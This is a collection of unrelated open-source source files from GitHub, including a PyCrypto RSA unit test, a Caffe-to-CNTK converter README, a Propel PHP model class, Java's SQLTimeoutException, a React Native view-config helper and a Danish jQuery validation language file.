e0 aa b1 2d 7b 61 a5 1f 52 7a 9a 41 f6 c1 68 7f
e2 53 72 98 ca 2a 8f 59 46 f8 e5 fd 09 1d bd cb
"""
e = 0x11L # public exponent
prime_factor = """
c9 7f b1 f0 27 f4 53 f6 34 12 33 ea aa d1 d9 35
3f 6c 42 d0 88 66 b1 d0 5a 0f 20 35 02 8b 9d 86
98 40 b4 16 66 b4 2e 92 ea 0d a3 b4 32 04 b5 cf
ce 33 52 52 4d 04 16 a5 a4 41 e7 00 af 46 15 03
"""
def setUp(self):
global RSA, Random, bytes_to_long
from Crypto.PublicKey import RSA
from Crypto import Random
from Crypto.Util.number import bytes_to_long, inverse
self.n = bytes_to_long(a2b_hex(self.modulus))
self.p = bytes_to_long(a2b_hex(self.prime_factor))
# Compute q, d, and u from n, e, and p
self.q = divmod(self.n, self.p)[0]
self.d = inverse(self.e, (self.p-1)*(self.q-1))
self.u = inverse(self.p, self.q) # u = e**-1 (mod q)
self.rsa = RSA
def test_generate_1arg(self):
"""RSA (default implementation) generated key (1 argument)"""
rsaObj = self.rsa.generate(1024)
self._check_private_key(rsaObj)
self._exercise_primitive(rsaObj)
pub = rsaObj.publickey()
self._check_public_key(pub)
self._exercise_public_primitive(rsaObj)
def test_generate_2arg(self):
"""RSA (default implementation) generated key (2 arguments)"""
rsaObj = self.rsa.generate(1024, Random.new().read)
self._check_private_key(rsaObj)
self._exercise_primitive(rsaObj)
pub = rsaObj.publickey()
self._check_public_key(pub)
self._exercise_public_primitive(rsaObj)
def test_generate_3args(self):
rsaObj = self.rsa.generate(1024, Random.new().read,e=65537)
self._check_private_key(rsaObj)
self._exercise_primitive(rsaObj)
pub = rsaObj.publickey()
self._check_public_key(pub)
self._exercise_public_primitive(rsaObj)
self.assertEqual(65537,rsaObj.e)
def test_construct_2tuple(self):
"""RSA (default implementation) constructed key (2-tuple)"""
pub = self.rsa.construct((self.n, self.e))
self._check_public_key(pub)
self._check_encryption(pub)
self._check_verification(pub)
def test_construct_3tuple(self):
"""RSA (default implementation) constructed key (3-tuple)"""
rsaObj = self.rsa.construct((self.n, self.e, self.d))
self._check_encryption(rsaObj)
self._check_decryption(rsaObj)
self._check_signing(rsaObj)
self._check_verification(rsaObj)
def test_construct_4tuple(self):
"""RSA (default implementation) constructed key (4-tuple)"""
rsaObj = self.rsa.construct((self.n, self.e, self.d, self.p))
self._check_encryption(rsaObj)
self._check_decryption(rsaObj)
self._check_signing(rsaObj)
self._check_verification(rsaObj)
def test_construct_5tuple(self):
"""RSA (default implementation) constructed key (5-tuple)"""
rsaObj = self.rsa.construct((self.n, self.e, self.d, self.p, self.q))
self._check_private_key(rsaObj)
self._check_encryption(rsaObj)
self._check_decryption(rsaObj)
self._check_signing(rsaObj)
self._check_verification(rsaObj)
def test_construct_6tuple(self):
"""RSA (default implementation) constructed key (6-tuple)"""
rsaObj = self.rsa.construct((self.n, self.e, self.d, self.p, self.q, self.u))
self._check_private_key(rsaObj)
self._check_encryption(rsaObj)
self._check_decryption(rsaObj)
self._check_signing(rsaObj)
self._check_verification(rsaObj)
def test_factoring(self):
rsaObj = self.rsa.construct([self.n, self.e, self.d])
self.failUnless(rsaObj.p==self.p or rsaObj.p==self.q)
self.failUnless(rsaObj.q==self.p or rsaObj.q==self.q)
self.failUnless(rsaObj.q*rsaObj.p == self.n)
self.assertRaises(ValueError, self.rsa.construct, [self.n, self.e, self.n-1])
def _check_private_key(self, rsaObj):
# Check capabilities
self.assertEqual(1, rsaObj.has_private())
self.assertEqual(1, rsaObj.can_sign())
self.assertEqual(1, rsaObj.can_encrypt())
self.assertEqual(1, rsaObj.can_blind())
# Check rsaObj.[nedpqu] -> rsaObj.key.[nedpqu] mapping
self.assertEqual(rsaObj.n, rsaObj.key.n)
self.assertEqual(rsaObj.e, rsaObj.key.e)
self.assertEqual(rsaObj.d, rsaObj.key.d)
self.assertEqual(rsaObj.p, rsaObj.key.p)
self.assertEqual(rsaObj.q, rsaObj.key.q)
self.assertEqual(rsaObj.u, rsaObj.key.u)
# Sanity check key data
self.assertEqual(rsaObj.n, rsaObj.p * rsaObj.q) # n = pq
self.assertEqual(1, rsaObj.d * rsaObj.e % ((rsaObj.p-1) * (rsaObj.q-1))) # ed = 1 (mod (p-1)(q-1))
self.assertEqual(1, rsaObj.p * rsaObj.u % rsaObj.q) # pu = 1 (mod q)
self.assertEqual(1, rsaObj.p > 1) # p > 1
self.assertEqual(1, rsaObj.q > 1) # q > 1
self.assertEqual(1, rsaObj.e > 1) # e > 1
self.assertEqual(1, rsaObj.d > 1) # d > 1
def _check_public_key(self, rsaObj):
ciphertext = a2b_hex(self.ciphertext)
# Check capabilities
self.assertEqual(0, rsaObj.has_private())
self.assertEqual(1, rsaObj.can_sign())
self.assertEqual(1, rsaObj.can_encrypt())
self.assertEqual(1, rsaObj.can_blind())
# Check rsaObj.[ne] -> rsaObj.key.[ne] mapping
self.assertEqual(rsaObj.n, rsaObj.key.n)
self.assertEqual(rsaObj.e, rsaObj.key.e)
# Check that private parameters are all missing
self.assertEqual(0, hasattr(rsaObj, 'd'))
self.assertEqual(0, hasattr(rsaObj, 'p'))
self.assertEqual(0, hasattr(rsaObj, 'q'))
self.assertEqual(0, hasattr(rsaObj, 'u'))
self.assertEqual(0, hasattr(rsaObj.key, 'd'))
self.assertEqual(0, hasattr(rsaObj.key, 'p'))
self.assertEqual(0, hasattr(rsaObj.key, 'q'))
self.assertEqual(0, hasattr(rsaObj.key, 'u'))
# Sanity check key data
self.assertEqual(1, rsaObj.e > 1) # e > 1
# Public keys should not be able to sign or decrypt
self.assertRaises(TypeError, rsaObj.sign, ciphertext, b(""))
self.assertRaises(TypeError, rsaObj.decrypt, ciphertext)
# Check __eq__ and __ne__
self.assertEqual(rsaObj.publickey() == rsaObj.publickey(),True) # assert_
self.assertEqual(rsaObj.publickey() != rsaObj.publickey(),False) # failIf
def _exercise_primitive(self, rsaObj):
# Since we're using a randomly-generated key, we can't check the test
# vector, but we can make sure encryption and decryption are inverse
# operations.
ciphertext = a2b_hex(self.ciphertext)
# Test decryption
plaintext = rsaObj.decrypt((ciphertext,))
# Test encryption (2 arguments)
(new_ciphertext2,) = rsaObj.encrypt(plaintext, b(""))
self.assertEqual(b2a_hex(ciphertext), b2a_hex(new_ciphertext2))
# Test blinded decryption
blinding_factor = Random.new().read(len(ciphertext)-1)
blinded_ctext = rsaObj.blind(ciphertext, blinding_factor)
blinded_ptext = rsaObj.decrypt((blinded_ctext,))
unblinded_plaintext = rsaObj.unblind(blinded_ptext, blinding_factor)
self.assertEqual(b2a_hex(plaintext), b2a_hex(unblinded_plaintext))
# Test signing (2 arguments)
signature2 = rsaObj.sign(ciphertext, b(""))
self.assertEqual((bytes_to_long(plaintext),), signature2)
# Test verification
self.assertEqual(1, rsaObj.verify(ciphertext, (bytes_to_long(plaintext),)))
def _exercise_public_primitive(self, rsaObj):
plaintext = a2b_hex(self.plaintext)
# Test encryption (2 arguments)
(new_ciphertext2,) = rsaObj.encrypt(plaintext, b(""))
# Exercise verification
rsaObj.verify(new_ciphertext2, (bytes_to_long(plaintext),))
def _check_encryption(self, rsaObj):
plaintext = a2b_hex(self.plaintext)
ciphertext = a2b_hex(self.ciphertext)
# Test encryption (2 arguments)
(new_ciphertext2,) = rsaObj.encrypt(plaintext, b(""))
self.assertEqual(b2a_hex(ciphertext), b2a_hex(new_ciphertext2))
def _check_decryption(self, rsaObj):
plaintext = a2b_hex(self.plaintext)
ciphertext = a2b_hex(self.ciphertext)
# Test plain decryption
new_plaintext = rsaObj.decrypt((ciphertext,))
self.assertEqual(b2a_hex(plaintext), b2a_hex(new_plaintext))
# Test blinded decryption
blinding_factor = Random.new().read(len(ciphertext)-1)
blinded_ctext = rsaObj.blind(ciphertext, blinding_factor)
blinded_ptext = rsaObj.decrypt((blinded_ctext,))
unblinded_plaintext = rsaObj.unblind(blinded_ptext, blinding_factor)
self.assertEqual(b2a_hex(plaintext), b2a_hex(unblinded_plaintext))
def _check_verification(self, rsaObj):
signature = bytes_to_long(a2b_hex(self.plaintext))
message = a2b_hex(self.ciphertext)
# Test verification
t = (signature,) # rsaObj.verify expects a tuple
self.assertEqual(1, rsaObj.verify(message, t))
# Test verification with overlong tuple (this is a
# backward-compatibility hack to support some harmless misuse of the
# API)
t2 = (signature, '')
self.assertEqual(1, rsaObj.verify(message, t2)) # extra garbage at end of tuple
def _check_signing(self, rsaObj):
signature = bytes_to_long(a2b_hex(self.plaintext))
message = a2b_hex(self.ciphertext)
# Test signing (2 argument)
self.assertEqual((signature,), rsaObj.sign(message, b("")))
class RSAFastMathTest(RSATest):
def setUp(self):
RSATest.setUp(self)
self.rsa = RSA.RSAImplementation(use_fast_math=True)
def test_generate_1arg(self):
"""RSA (_fastmath implementation) generated key (1 argument)"""
RSATest.test_generate_1arg(self)
def test_generate_2arg(self):
"""RSA (_fastmath implementation) generated key (2 arguments)"""
RSATest.test_generate_2arg(self)
def test_construct_2tuple(self):
"""RSA (_fastmath implementation) constructed key (2-tuple)"""
RSATest.test_construct_2tuple(self)
def test_construct_3tuple(self):
"""RSA (_fastmath implementation) constructed key (3-tuple)"""
RSATest.test_construct_3tuple(self)
def test_construct_4tuple(self):
"""RSA (_fastmath implementation) constructed key (4-tuple)"""
RSATest.test_construct_4tuple(self)
def test_construct_5tuple(self):
"""RSA (_fastmath implementation) constructed key (5-tuple)"""
RSATest.test_construct_5tuple(self)
def test_construct_6tuple(self):
"""RSA (_fastmath implementation) constructed key (6-tuple)"""
RSATest.test_construct_6tuple(self)
def test_factoring(self):
RSATest.test_factoring(self)
class RSASlowMathTest(RSATest):
def setUp(self):
RSATest.setUp(self)
self.rsa = RSA.RSAImplementation(use_fast_math=False)
def test_generate_1arg(self):
"""RSA (_slowmath implementation) generated key (1 argument)"""
RSATest.test_generate_1arg(self)
def test_generate_2arg(self):
"""RSA (_slowmath implementation) generated key (2 arguments)"""
RSATest.test_generate_2arg(self)
def test_construct_2tuple(self):
"""RSA (_slowmath implementation) constructed key (2-tuple)"""
RSATest.test_construct_2tuple(self)
def test_construct_3tuple(self):
"""RSA (_slowmath implementation) constructed key (3-tuple)"""
RSATest.test_construct_3tuple(self)
def test_construct_4tuple(self):
"""RSA (_slowmath implementation) constructed key (4-tuple)"""
RSATest.test_construct_4tuple(self)
def test_construct_5tuple(self):
"""RSA (_slowmath implementation) constructed key (5-tuple)"""
RSATest.test_construct_5tuple(self)
def test_construct_6tuple(self):
"""RSA (_slowmath implementation) constructed key (6-tuple)"""
RSATest.test_construct_6tuple(self)
def test_factoring(self):
RSATest.test_factoring(self)
def get_tests(config={}):
tests = []
tests += list_test_cases(RSATest)
try:
from Crypto.PublicKey import _fastmath
tests += list_test_cases(RSAFastMathTest)
except ImportError:
from distutils.sysconfig import get_config_var
import inspect
_fm_path = os.path.normpath(os.path.dirname(os.path.abspath(
inspect.getfile(inspect.currentframe())))
+"/../../PublicKey/_fastmath"+get_config_var("SO"))
if os.path.exists(_fm_path):
raise ImportError("While the _fastmath module exists, importing "+
"it failed. This may point to the gmp or mpir shared library "+
"not being in the path. _fastmath was found at "+_fm_path)
if config.get('slow_tests',1):
tests += list_test_cases(RSASlowMathTest)
return tests
if __name__ == '__main__':
suite = lambda: unittest.TestSuite(get_tests())
unittest.main(defaultTest='suite')
# vim:set ts=4 sw=4 sts=4 expandtab:
|
{
"pile_set_name": "Github"
}
|
# CaffeConverter
The tool will help you convert trained models from Caffe to CNTK.
*Convert trained models:* giving a model script and its weights file, export to CNTK model.
## Dependency
1. Protobuf
Using `pip install protobuf`
2. Caffe runtime support (Optional)
While loading Caffe models, Model2CNTK will first try to find Caffe packages in you Python dirs.
If failing, system will turn to use protobuf to load the models (maybe long as a few mins). A
reference to get Caffe python support:
https://github.com/BVLC/caffe/tree/windows
3. You may need to compile caffe_pb2.py with following steps:
a. download and install *`protoc`* in [official website](https://developers.google.com/protocol-buffers)
b. *protoc -I=$Caffe_DIR --python_out=$DST_DIR $Caffe_DIR/proto/caffe.proto*
c. copy *caffe_pb2.py* to adapter/bvlccaffe
## Usage and Configuration
`CaffeConverter.from_model(global_conf_path)`
*Usage example:* see [here](./examples/run_convert.py)
*About global conf file:* see guideline in [here](./utils/README.md) and template in [here](./examples/Classification/AlexNet_ImageNet/global.json)
## Support layers
Convolution, Dense/Linear, ReLU, Max/Average Pooling, Softmax, Batch Normalization, LRN, Splice, Plus
## Known Issues
*Model version:* we only support inputs with definition of Input layer. To adapt it, please
first upgrade your model and prototxt in Caffe tools with commands:
*upgrade_net_proto_text/binary.sh*
## Examples
Please find an example of converter usage in [here](./examples/README.md)
|
{
"pile_set_name": "Github"
}
|
/* SPDX-License-Identifier: GPL-2.0+ WITH Linux-syscall-note */
/*
* This program is free software; you can redistribute it and/or
* modify it under the terms of the GNU General Public License
* as published by the Free Software Foundation; either version
* 2 of the License, or (at your option) any later version.
*/
#ifndef _ASM_POWERPC_SWAB_H
#define _ASM_POWERPC_SWAB_H
#include <linux/types.h>
#ifdef __GNUC__
#ifndef __powerpc64__
#define __SWAB_64_THRU_32__
#endif /* __powerpc64__ */
#endif /* __GNUC__ */
#endif /* _ASM_POWERPC_SWAB_H */
|
{
"pile_set_name": "Github"
}
|
<?php
/**
* MIT License. This file is part of the Propel package.
* For the full copyright and license information, please view the LICENSE
* file that was distributed with this source code.
*/
namespace Propel\Generator\Model;
/**
* Object to hold vendor specific information.
*
* @author Hans Lellelid <[email protected]> (Propel)
* @author Hugo Hamon <[email protected]> (Propel)
*/
class VendorInfo extends MappingModel
{
/**
* @var string|null
*/
private $type;
/**
* @var array
*/
private $parameters;
/**
* Creates a new VendorInfo instance.
*
* @param string|null $type RDBMS type (optional)
* @param array $parameters An associative array of vendor's parameters (optional)
*/
public function __construct($type = null, array $parameters = [])
{
$this->parameters = [];
if ($type !== null) {
$this->setType($type);
}
if ($parameters) {
$this->setParameters($parameters);
}
}
/**
* Sets the RDBMS type for this vendor specific information.
*
* @param string $type
*
* @return void
*/
public function setType($type)
{
$this->type = $type;
}
/**
* Returns the RDBMS type for this vendor specific information.
*
* @return string
*/
public function getType()
{
return $this->type;
}
/**
* Sets a parameter value.
*
* @param string $name The parameter name
* @param mixed $value The parameter value
*
* @return void
*/
public function setParameter($name, $value)
{
$this->parameters[$name] = $value;
}
/**
* Returns a parameter value.
*
* @param string $name The parameter name
*
* @return mixed
*/
public function getParameter($name)
{
return isset($this->parameters[$name]) ? $this->parameters[$name] : null;
}
/**
* Returns whether or not a parameter exists.
*
* @param string $name
*
* @return bool
*/
public function hasParameter($name)
{
return isset($this->parameters[$name]);
}
/**
* Sets an associative array of parameters for vendor specific information.
*
* @param array $parameters Parameter data.
*
* @return void
*/
public function setParameters(array $parameters = [])
{
$this->parameters = $parameters;
}
/**
* Returns an associative array of parameters for
* vendor specific information.
*
* @return array
*/
public function getParameters()
{
return $this->parameters;
}
/**
* Returns whether or not this vendor info is empty.
*
* @return bool
*/
public function isEmpty()
{
return empty($this->parameters);
}
/**
* Returns a new VendorInfo object that combines two VendorInfo objects.
*
* @param \Propel\Generator\Model\VendorInfo $info
*
* @return \Propel\Generator\Model\VendorInfo
*/
public function getMergedVendorInfo(VendorInfo $info)
{
$params = array_merge($this->parameters, $info->getParameters());
$newInfo = new VendorInfo($this->type);
$newInfo->setParameters($params);
return $newInfo;
}
/**
* @return void
*/
protected function setupObject()
{
$this->type = $this->getAttribute('type');
}
}
|
{
"pile_set_name": "Github"
}
|
#ifndef __SOUND_WTM_H
#define __SOUND_WTM_H
/* ID */
#define WTM_DEVICE_DESC "{EGO SYS INC,WaveTerminal 192M},"
#define VT1724_SUBDEVICE_WTM 0x36495345 /* WT192M ver1.0 */
/*
*chip addresses on I2C bus
*/
#define AK4114_ADDR 0x20 /*S/PDIF receiver*/
#define STAC9460_I2C_ADDR 0x54 /* ADC*2 | DAC*6 */
#define STAC9460_2_I2C_ADDR 0x56 /* ADC|DAC *2 */
extern struct snd_ice1712_card_info snd_vt1724_wtm_cards[];
#endif /* __SOUND_WTM_H */
|
{
"pile_set_name": "Github"
}
|
<!DOCTYPE html>
<html lang="en-US">
<head>
<title>test of border-image</title>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<meta http-equiv="Content-Style-Type" content="text/css">
<style type="text/css">
div.p1 {
background: red; /* fail if this shows through */
background-image: url('3x3multicolor.png'); /* fail if this shows through */
border-width: 1px 3px;
border-style: solid;
border-image: url('4x4multicolor.png') 1 1 1 1 repeat;
-khtml-border-image: url('4x4multicolor.png') 1 1 1 1 repeat;
border-image: url('4x4multicolor.png') 1 1 1 1 repeat;
}
div.p2 {
background: red; /* fail if this shows through */
background-image: url('3x3multicolor.png'); /* fail if this shows through */
border-width: 1px 3px;
border-style: solid;
border-image: url('4x4multicolor.png') 1 1 1 1;
-khtml-border-image: url('4x4multicolor.png') 1 1 1 1;
border-image: url('4x4multicolor.png') 1 1 1 1;
}
</style>
</head>
<body>
<div class="p1" style="width: 4px; height: 2px"></div>
<!--<div class="p2" style="width: 4px; height: 2px"></div> -->
</body>
</html>
|
{
"pile_set_name": "Github"
}
|
/*
* Copyright (c) 1996, 2013, Oracle and/or its affiliates. All rights reserved.
* DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
*
* This code is free software; you can redistribute it and/or modify it
* under the terms of the GNU General Public License version 2 only, as
* published by the Free Software Foundation. Oracle designates this
* particular file as subject to the "Classpath" exception as provided
* by Oracle in the LICENSE file that accompanied this code.
*
* This code is distributed in the hope that it will be useful, but WITHOUT
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
* FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License
* version 2 for more details (a copy is included in the LICENSE file that
* accompanied this code).
*
* You should have received a copy of the GNU General Public License version
* 2 along with this work; if not, write to the Free Software Foundation,
* Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
*
* Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
* or visit www.oracle.com if you need additional information or have any
* questions.
*/
package java.sql;
/**
* <P>The subclass of {@link SQLException} thrown when the timeout specified by
* {@code Statement.setQueryTimeout}, {@code DriverManager.setLoginTimeout},
* {@code DataSource.setLoginTimeout},{@code XADataSource.setLoginTimeout}
* has expired.
* <P> This exception does not correspond to a standard SQLState.
*
* @since 1.6
*/
public class SQLTimeoutException extends SQLTransientException {
/**
* Constructs a <code>SQLTimeoutException</code> object.
* The <code>reason</code>, <code>SQLState</code> are initialized
* to <code>null</code> and the vendor code is initialized to 0.
*
* The <code>cause</code> is not initialized, and may subsequently be
* initialized by a call to the
* {@link Throwable#initCause(java.lang.Throwable)} method.
*
* @since 1.6
*/
public SQLTimeoutException() {
super();
}
/**
* Constructs a <code>SQLTimeoutException</code> object
* with a given <code>reason</code>. The <code>SQLState</code>
* is initialized to <code>null</code> and the vendor code is initialized
* to 0.
*
* The <code>cause</code> is not initialized, and may subsequently be
* initialized by a call to the
* {@link Throwable#initCause(java.lang.Throwable)} method.
*
* @param reason a description of the exception
* @since 1.6
*/
public SQLTimeoutException(String reason) {
super(reason);
}
/**
* Constructs a <code>SQLTimeoutException</code> object
* with a given <code>reason</code> and <code>SQLState</code>.
*
* The <code>cause</code> is not initialized, and may subsequently be
* initialized by a call to the
* {@link Throwable#initCause(java.lang.Throwable)} method. The vendor code
* is initialized to 0.
*
* @param reason a description of the exception
* @param SQLState an XOPEN or SQL:2003 code identifying the exception
* @since 1.6
*/
public SQLTimeoutException(String reason, String SQLState) {
super(reason, SQLState);
}
/**
* Constructs a <code>SQLTimeoutException</code> object
* with a given <code>reason</code>, <code>SQLState</code> and
* <code>vendorCode</code>.
*
* The <code>cause</code> is not initialized, and may subsequently be
* initialized by a call to the
* {@link Throwable#initCause(java.lang.Throwable)} method.
*
* @param reason a description of the exception
* @param SQLState an XOPEN or SQL:2003 code identifying the exception
* @param vendorCode a database vendor specific exception code
* @since 1.6
*/
public SQLTimeoutException(String reason, String SQLState, int vendorCode) {
super(reason, SQLState, vendorCode);
}
/**
* Constructs a <code>SQLTimeoutException</code> object
* with a given <code>cause</code>.
* The <code>SQLState</code> is initialized
* to <code>null</code> and the vendor code is initialized to 0.
* The <code>reason</code> is initialized to <code>null</code> if
* <code>cause==null</code> or to <code>cause.toString()</code> if
* <code>cause!=null</code>.
*
* @param cause the underlying reason for this <code>SQLException</code> (which is saved for later retrieval by the <code>getCause()</code> method); may be null indicating
* the cause is non-existent or unknown.
* @since 1.6
*/
public SQLTimeoutException(Throwable cause) {
super(cause);
}
/**
* Constructs a <code>SQLTimeoutException</code> object
* with a given
* <code>reason</code> and <code>cause</code>.
* The <code>SQLState</code> is initialized to <code>null</code>
* and the vendor code is initialized to 0.
*
* @param reason a description of the exception.
* @param cause the underlying reason for this <code>SQLException</code> (which is saved for later retrieval by the <code>getCause()</code> method); may be null indicating
* the cause is non-existent or unknown.
* @since 1.6
*/
public SQLTimeoutException(String reason, Throwable cause) {
super(reason, cause);
}
/**
* Constructs a <code>SQLTimeoutException</code> object
* with a given
* <code>reason</code>, <code>SQLState</code> and <code>cause</code>.
* The vendor code is initialized to 0.
*
* @param reason a description of the exception.
* @param SQLState an XOPEN or SQL:2003 code identifying the exception
* @param cause the underlying reason for this <code>SQLException</code> (which is saved for later retrieval by the <code>getCause()</code> method); may be null indicating
* the cause is non-existent or unknown.
* @since 1.6
*/
public SQLTimeoutException(String reason, String SQLState, Throwable cause) {
super(reason, SQLState, cause);
}
/**
* Constructs a <code>SQLTimeoutException</code> object
* with a given
* <code>reason</code>, <code>SQLState</code>, <code>vendorCode</code>
* and <code>cause</code>.
*
* @param reason a description of the exception
* @param SQLState an XOPEN or SQL:2003 code identifying the exception
* @param vendorCode a database vendor-specific exception code
* @param cause the underlying reason for this <code>SQLException</code> (which is saved for later retrieval by the <code>getCause()</code> method); may be null indicating
* the cause is non-existent or unknown.
* @since 1.6
*/
public SQLTimeoutException(String reason, String SQLState, int vendorCode, Throwable cause) {
super(reason, SQLState, vendorCode, cause);
}
private static final long serialVersionUID = -4487171280562520262L;
}
|
{
"pile_set_name": "Github"
}
|
/*****************************************************************************
Copyright (c) 2011, Intel Corp.
All rights reserved.
Redistribution and use in source and binary forms, with or without
modification, are permitted provided that the following conditions are met:
* Redistributions of source code must retain the above copyright notice,
this list of conditions and the following disclaimer.
* Redistributions in binary form must reproduce the above copyright
notice, this list of conditions and the following disclaimer in the
documentation and/or other materials provided with the distribution.
* Neither the name of Intel Corporation nor the names of its contributors
may be used to endorse or promote products derived from this software
without specific prior written permission.
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE
LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF
THE POSSIBILITY OF SUCH DAMAGE.
*****************************************************************************
* Contents: Native high-level C interface to LAPACK function dlapy2
* Author: Intel Corporation
* Generated November, 2011
*****************************************************************************/
#include "lapacke_utils.h"
double LAPACKE_dlapy2( double x, double y )
{
#ifndef LAPACK_DISABLE_NAN_CHECK
if( LAPACKE_get_nancheck() ) {
/* Optionally check input matrices for NaNs */
if( LAPACKE_d_nancheck( 1, &x, 1 ) ) {
return -1;
}
if( LAPACKE_d_nancheck( 1, &y, 1 ) ) {
return -2;
}
}
#endif
return LAPACKE_dlapy2_work( x, y );
}
|
{
"pile_set_name": "Github"
}
|
{
"compilerOptions": {
"module": "commonjs",
"lib": [
"es6"
],
"noImplicitAny": true,
"noImplicitThis": true,
"strictNullChecks": false,
"strictFunctionTypes": true,
"baseUrl": "../",
"typeRoots": [
"../"
],
"types": [],
"noEmit": true,
"forceConsistentCasingInFileNames": true
},
"files": [
"index.d.ts",
"gulp-sourcemaps-tests.ts"
]
}
|
{
"pile_set_name": "Github"
}
|
const path = require('path');
const resolve = require('resolve');
module.exports = function (cwd, moduleName, register) {
try {
var modulePath = resolve.sync(moduleName, {basedir: cwd});
var result = require(modulePath);
if (typeof register === 'function') {
register(result);
}
} catch (e) {
result = e;
}
return result;
};
|
{
"pile_set_name": "Github"
}
|
/**
* Copyright (c) Facebook, Inc. and its affiliates.
*
* This source code is licensed under the MIT license found in the
* LICENSE file in the root directory of this source tree.
*
* @flow
* @format
*/
'use strict';
const ReactNativeStyleAttributes = require('../Components/View/ReactNativeStyleAttributes');
const UIManager = require('./UIManager');
const insetsDiffer = require('../Utilities/differ/insetsDiffer');
const invariant = require('invariant');
const matricesDiffer = require('../Utilities/differ/matricesDiffer');
const pointsDiffer = require('../Utilities/differ/pointsDiffer');
const processColor = require('../StyleSheet/processColor');
const processColorArray = require('../StyleSheet/processColorArray');
const resolveAssetSource = require('../Image/resolveAssetSource');
const sizesDiffer = require('../Utilities/differ/sizesDiffer');
function getNativeComponentAttributes(uiViewClassName: string): any {
const viewConfig = UIManager.getViewManagerConfig(uiViewClassName);
invariant(
viewConfig != null && viewConfig.NativeProps != null,
'requireNativeComponent: "%s" was not found in the UIManager.',
uiViewClassName,
);
// TODO: This seems like a whole lot of runtime initialization for every
// native component that can be either avoided or simplified.
let {baseModuleName, bubblingEventTypes, directEventTypes} = viewConfig;
let nativeProps = viewConfig.NativeProps;
while (baseModuleName) {
const baseModule = UIManager.getViewManagerConfig(baseModuleName);
if (!baseModule) {
console.warn('Base module "%s" does not exist', baseModuleName);
baseModuleName = null;
} else {
bubblingEventTypes = {
...baseModule.bubblingEventTypes,
...bubblingEventTypes,
};
directEventTypes = {
...baseModule.directEventTypes,
...directEventTypes,
};
nativeProps = {
...baseModule.NativeProps,
...nativeProps,
};
baseModuleName = baseModule.baseModuleName;
}
}
const validAttributes = {};
for (const key in nativeProps) {
const typeName = nativeProps[key];
const diff = getDifferForType(typeName);
const process = getProcessorForType(typeName);
validAttributes[key] =
diff == null && process == null ? true : {diff, process};
}
// Unfortunately, the current setup declares style properties as top-level
// props. This makes it so we allow style properties in the `style` prop.
// TODO: Move style properties into a `style` prop and disallow them as
// top-level props on the native side.
validAttributes.style = ReactNativeStyleAttributes;
Object.assign(viewConfig, {
uiViewClassName,
validAttributes,
bubblingEventTypes,
directEventTypes,
});
if (!hasAttachedDefaultEventTypes) {
attachDefaultEventTypes(viewConfig);
hasAttachedDefaultEventTypes = true;
}
return viewConfig;
}
// TODO: Figure out how this makes sense. We're using a global boolean to only
// initialize this on the first eagerly initialized native component.
let hasAttachedDefaultEventTypes = false;
function attachDefaultEventTypes(viewConfig: any) {
// This is supported on UIManager platforms (ex: Android),
// as lazy view managers are not implemented for all platforms.
// See [UIManager] for details on constants and implementations.
const constants = UIManager.getConstants();
if (constants.ViewManagerNames || constants.LazyViewManagersEnabled) {
// Lazy view managers enabled.
viewConfig = merge(viewConfig, UIManager.getDefaultEventTypes());
} else {
viewConfig.bubblingEventTypes = merge(
viewConfig.bubblingEventTypes,
constants.genericBubblingEventTypes,
);
viewConfig.directEventTypes = merge(
viewConfig.directEventTypes,
constants.genericDirectEventTypes,
);
}
}
// TODO: Figure out how to avoid all this runtime initialization cost.
function merge(destination: ?Object, source: ?Object): ?Object {
if (!source) {
return destination;
}
if (!destination) {
return source;
}
for (const key in source) {
if (!source.hasOwnProperty(key)) {
continue;
}
let sourceValue = source[key];
if (destination.hasOwnProperty(key)) {
const destinationValue = destination[key];
if (
typeof sourceValue === 'object' &&
typeof destinationValue === 'object'
) {
sourceValue = merge(destinationValue, sourceValue);
}
}
destination[key] = sourceValue;
}
return destination;
}
function getDifferForType(
typeName: string,
): ?(prevProp: any, nextProp: any) => boolean {
switch (typeName) {
// iOS Types
case 'CATransform3D':
return matricesDiffer;
case 'CGPoint':
return pointsDiffer;
case 'CGSize':
return sizesDiffer;
case 'UIEdgeInsets':
return insetsDiffer;
// Android Types
// (not yet implemented)
}
return null;
}
function getProcessorForType(typeName: string): ?(nextProp: any) => any {
switch (typeName) {
// iOS Types
case 'CGColor':
case 'UIColor':
return processColor;
case 'CGColorArray':
case 'UIColorArray':
return processColorArray;
case 'CGImage':
case 'UIImage':
case 'RCTImageSource':
return resolveAssetSource;
// Android Types
case 'Color':
return processColor;
case 'ColorArray':
return processColorArray;
}
return null;
}
module.exports = getNativeComponentAttributes;
|
{
"pile_set_name": "Github"
}
|
(function($){
$.fn.validationEngineLanguage = function(){
};
$.validationEngineLanguage = {
newLang: function(){
$.validationEngineLanguage.allRules = {
"required": { // Add your regex rules here, you can take telephone as an example
"regex": "none",
"alertText": "* Dette felt skal udfyldes",
"alertTextCheckboxMultiple": "* Vælg venligst en af mulighederne",
"alertTextCheckboxe": "* Dette felt er påkrævet"
},
"requiredInFunction": {
"func": function(field, rules, i, options){
return (field.val() == "test") ? true : false;
},
"alertText": "* Indholdet af feltet skal være lig med test"
},
"minSize": {
"regex": "none",
"alertText": "* Minimum ",
"alertText2": " tegn tilladt"
},
"maxSize": {
"regex": "none",
